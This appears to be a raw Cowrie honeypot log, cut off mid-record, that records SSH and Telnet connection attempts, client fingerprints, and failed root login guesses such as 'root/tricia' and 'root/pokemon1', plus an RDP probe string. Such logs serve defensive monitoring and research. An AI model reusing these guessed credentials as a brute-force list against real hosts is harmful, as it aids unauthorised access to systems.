{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:06.754324Z","src_ip":"103.75.182.198","session":"eb7382e9e09b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"55555ol","message":"login attempt [root/55555ol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:07.493985Z","src_ip":"103.75.182.198","session":"eb7382e9e09b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:08.738909Z","src_ip":"103.75.182.198","session":"eb7382e9e09b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50928,"dst_ip":"10.17.0.5","dst_port":23,"session":"6efe39217705","protocol":"telnet","message":"New connection: 192.119.13.58:50928 (10.17.0.5:23) [session: 6efe39217705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:09.780953Z"}
{"eventid":"cowrie.session.closed","duration":34.06463670730591,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:17.259244Z","src_ip":"192.119.13.58","session":"baeb14a65dd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"129.224.215.245","src_port":35576,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d6c90eee003","protocol":"telnet","message":"New connection: 129.224.215.245:35576 (10.17.0.5:23) [session: 2d6c90eee003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:17.433198Z"}
{"eventid":"cowrie.session.closed","duration":46.3406343460083,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:19.188558Z","src_ip":"192.119.13.58","session":"f7baf8a2f0f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":45924,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee98cfa3981a","protocol":"ssh","message":"New connection: 103.15.222.183:45924 (10.17.0.5:22) [session: ee98cfa3981a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:20.742226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:20.748397Z","src_ip":"103.15.222.183","session":"ee98cfa3981a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:20.993693Z","src_ip":"103.15.222.183","session":"ee98cfa3981a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567qwe","message":"login attempt [root/1234567qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:21.735518Z","src_ip":"103.15.222.183","session":"ee98cfa3981a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:22.983738Z","src_ip":"103.15.222.183","session":"ee98cfa3981a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":46960,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e4b5fa0a6be","protocol":"ssh","message":"New connection: 43.153.7.148:46960 (159.203.135.109:22) [session: 9e4b5fa0a6be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:27.434738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:27.440677Z","src_ip":"43.153.7.148","session":"9e4b5fa0a6be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:27.520095Z","src_ip":"43.153.7.148","session":"9e4b5fa0a6be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tricia","message":"login attempt [root/tricia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:27.833758Z","src_ip":"43.153.7.148","session":"9e4b5fa0a6be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50190,"dst_ip":"10.17.0.5","dst_port":23,"session":"408c8ba5f2fb","protocol":"telnet","message":"New connection: 192.119.13.58:50190 (10.17.0.5:23) [session: 408c8ba5f2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:28.662032Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50712,"dst_ip":"10.17.0.5","dst_port":23,"session":"129881ab15c4","protocol":"telnet","message":"New connection: 192.119.13.58:50712 (10.17.0.5:23) [session: 129881ab15c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:28.752714Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:28.904691Z","src_ip":"43.153.7.148","session":"9e4b5fa0a6be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46540,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5021b81f50b","protocol":"telnet","message":"New connection: 192.119.13.58:46540 (10.17.0.5:23) [session: e5021b81f50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:34.067989Z"}
{"eventid":"cowrie.session.closed","duration":38.577399253845215,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:37.968330Z","src_ip":"192.119.13.58","session":"a88745e9000a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.5014111995697,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:38.634557Z","src_ip":"192.119.13.58","session":"22ec255daf50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47078,"dst_ip":"10.17.0.5","dst_port":23,"session":"f54e55ce0ca4","protocol":"telnet","message":"New connection: 192.119.13.58:47078 (10.17.0.5:23) [session: f54e55ce0ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:39.708561Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57710,"dst_ip":"10.17.0.5","dst_port":23,"session":"49ea4a605cef","protocol":"telnet","message":"New connection: 192.119.13.58:57710 (10.17.0.5:23) [session: 49ea4a605cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:41.845683Z"}
{"eventid":"cowrie.session.closed","duration":0.008708715438842773,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:41.854103Z","src_ip":"192.119.13.58","session":"49ea4a605cef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":32884,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e7e2d24fdf5","protocol":"ssh","message":"New connection: 5.181.124.9:32884 (159.203.135.109:22) [session: 2e7e2d24fdf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:42.560285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:45.172667Z","src_ip":"5.181.124.9","session":"2e7e2d24fdf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"93.172.171.250","src_port":51036,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9ccedc1581f","protocol":"telnet","message":"New connection: 93.172.171.250:51036 (10.17.0.5:23) [session: c9ccedc1581f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:45.518567Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:46.766356Z","src_ip":"5.181.124.9","session":"2e7e2d24fdf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lucio123","message":"login attempt [root/lucio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:49.272479Z","src_ip":"5.181.124.9","session":"2e7e2d24fdf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:50.963591Z","src_ip":"5.181.124.9","session":"2e7e2d24fdf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.343008518218994,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:57.861438Z","src_ip":"93.172.171.250","session":"c9ccedc1581f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.11728882789612,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:40:59.898141Z","src_ip":"192.119.13.58","session":"6efe39217705","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55238,"dst_ip":"10.17.0.5","dst_port":23,"session":"18918d0e3010","protocol":"telnet","message":"New connection: 192.119.13.58:55238 (10.17.0.5:23) [session: 18918d0e3010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:00.905177Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":46104,"dst_ip":"10.17.0.5","dst_port":22,"session":"bab05deb48d3","protocol":"ssh","message":"New connection: 109.172.54.111:46104 (10.17.0.5:22) [session: bab05deb48d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:01.970170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:01.987942Z","src_ip":"109.172.54.111","session":"bab05deb48d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:02.084797Z","src_ip":"109.172.54.111","session":"bab05deb48d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"j38ifubn","message":"login attempt [root/j38ifubn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:02.389222Z","src_ip":"109.172.54.111","session":"bab05deb48d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:03.489405Z","src_ip":"109.172.54.111","session":"bab05deb48d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":42738,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cceb14eb78a","protocol":"ssh","message":"New connection: 38.93.206.2:42738 (159.203.135.109:22) [session: 2cceb14eb78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:04.139766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:04.145370Z","src_ip":"38.93.206.2","session":"2cceb14eb78a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:04.196690Z","src_ip":"38.93.206.2","session":"2cceb14eb78a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pokemon1","message":"login attempt [root/pokemon1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:04.350276Z","src_ip":"38.93.206.2","session":"2cceb14eb78a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:05.404606Z","src_ip":"38.93.206.2","session":"2cceb14eb78a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.7660596370697,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:05.518652Z","src_ip":"192.119.13.58","session":"129881ab15c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":58107,"dst_ip":"159.203.135.109","dst_port":22,"session":"678f1a2c917a","protocol":"ssh","message":"New connection: 152.42.212.128:58107 (159.203.135.109:22) [session: 678f1a2c917a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:05.596102Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:05.601805Z","src_ip":"152.42.212.128","session":"678f1a2c917a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:05.605988Z","src_ip":"152.42.212.128","session":"678f1a2c917a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":51022,"dst_ip":"159.203.135.109","dst_port":22,"session":"b43ec45ef96a","protocol":"ssh","message":"New connection: 43.153.7.148:51022 (159.203.135.109:22) [session: b43ec45ef96a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:10.350469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:41:10.355009Z","src_ip":"43.153.7.148","session":"b43ec45ef96a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-